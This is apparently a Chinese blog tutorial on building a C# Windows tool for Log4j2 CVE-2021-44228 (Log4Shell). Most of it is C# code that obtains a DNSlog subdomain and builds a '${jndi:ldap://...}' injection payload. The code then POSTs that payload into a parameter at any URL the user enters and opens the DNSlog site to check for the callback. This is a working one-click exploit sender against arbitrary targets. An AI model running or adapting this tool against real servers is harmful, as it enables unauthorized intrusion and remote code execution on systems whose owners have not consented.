如何使用C sharp编写一个Log4j2 EXP漏洞验证工具
如何使用C sharp编写一个Log4j2 EXP漏洞验证工具 作者:0x80
漏洞编号:CVE-2021-44228漏洞等级:高危,该漏洞影响范围极广,危害极大。
漏洞描述:Apache log4j2的版本在 2.0 ~ 2.14.1之间时,存在JNDI注入漏洞
受影响的版本:Apache log4j的2.0 - 2.14.1版本均存在该漏洞。
编程工具的前提要知道几个知识点
就是Log4j2前提是要知道那个构造参数是前提
如ID=?
不然会报错
首先我们要找到一个dnslog的平台接口
点击get Sub就会自动生成一个可用的
那么我们这里先写一个生成的
用到httpwebquest
抛弃 webbrowser
用一个richtextbox来接收
使用burp抓包请求结果,看他参数如何调用的
string url = "https://log.xn--9tr.com/new_gen?domain=dns.1433.eu.org."; //先声明一个字符串URL,地址,这个每访问一次就会生成一个
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); 然后加载这个URL
request.Method = "GET"; //get请求方法
HttpWebResponse response = (HttpWebResponse)request.GetResponse(); //发送请求
Stream stream = response.GetResponseStream(); //接收请求
StreamReader reader = new StreamReader(stream, System.Text.Encoding.UTF8); //读取数据
string s = reader.ReadToEnd(); //字符串S读取接收结果
我们发现返回的数据是json格式,这里其实根本不需要正则了
这里用到一个Newtonsoft.Json.dll
我们直接取domain的数据就可以
引入
using Newtonsoft.Json.Linq;
写入
JObject jobj = JObject.Parse(s);
用一个richtext来接收
richTextBox19.Text = "${jndi:ldap://0x." + jobj["domain"].ToString() + "/exp}";
格式是这样
我们执行后发现有"",我们需要"\"进行Replace
去重后,还是发现有一个.
我们可以这样写
richTextBox19.Text = richTextBox19.Text.Replace(".\"", "");
这样就可以了
然后我们
点击调试下
看看效果如何
我们发现已经搞定
前文参数是指你提前知道的payload参数
我们接下来,还要完成一件事
就是一键执行EXP功能
首先声明一个字符串
String url = textBox41.Text; //等于输入的IP域名
HttpWebRequest req = (HttpWebRequest)WebRequest.Create(url); 加载用户输入的URL
后面我们需要使用try{捕获异常
req.Method = "POST"; //POST请求
req.ContentType = "application/x-www-form-urlencoded"; //设置请求类别这个可以自定义
String postid = textBox42.Text + "=" + richTextBox19.Text; ; //变量POSTID就等于我们输入的内容+payload
StreamWriter ss = new StreamWriter(req.GetRequestStream()); //请求我们的postid =参数数据
ss.Write(postid);
ss.Flush();
接下来我们还需要做一件事情
就是接收返回结果
HttpWebResponse response = (HttpWebResponse)req.GetResponse();
Stream getStream = response.GetResponseStream();
StreamReader streamreader = new StreamReader(getStream);
用一个richtext去接收读到的数据
richTextBox20.Text = streamreader.ReadToEnd();
MessageBox.Show("EXP执行完毕,请查看结果");
System.Diagnostics.Process.Start("https://log.咕.com/");
这里写一个打开网页,去查看接收的返回data
当然,这个地方,你可以写一个正则,取data的返回结果
richTextBox20.Visible = true;
richTextBox19.Visible = true;
然后就写完了
我们实际需要测试下
这时候
我们发现已经成功执行
payload就是我们请求参数
这时候需要注意一个问题
实际测试过程中
你们需要自己先发现参数
不然会404报错的
环境都会不同
这里写了一个案例...
<< 上一篇
下一篇 >>